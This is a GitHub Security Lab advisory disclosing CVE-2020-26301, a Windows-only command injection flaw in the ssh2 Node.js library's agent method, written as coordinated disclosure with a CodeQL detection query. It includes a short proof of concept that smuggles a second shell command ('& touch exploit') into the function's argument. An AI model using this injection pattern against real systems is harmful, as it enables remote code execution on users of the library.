skip to content
Back to
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
September 9, 2021

GHSL-2020-123: Command injection in mscdex/ssh2 - CVE-2020-26301

Kevin Backhouse

Coordinated Disclosure Timeline


The agent method has a command injection vulnerability on Windows. Clients of the mscdex/ssh2 library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.



Tested Version

Commit 632073f


Issue 1: Command injection in agent on Windows

The issue only exists on Windows. The following proof-of-concept illustrates the vulnerability. First install mscdex/ssh2:

npm install ssh2

Now create a file with the following contents:

const agent = require('ssh2/lib/agent');
agent("\" & touch exploit", (e) => {console.log(e)});

and run it:

node test.js

Notice that a file named exploit has been created.

This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples:

We have written a CodeQL query, which automatically detects this vulnerability. You can find the query here.


This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.


This issue was discovered and reported by GitHub Engineers @max-schaefer (Max Schaefer) and @erik-krogh (Erik Krogh Kristensen).


You can contact the GHSL team at, please include GHSL-2020-123 in any communication regarding this issue.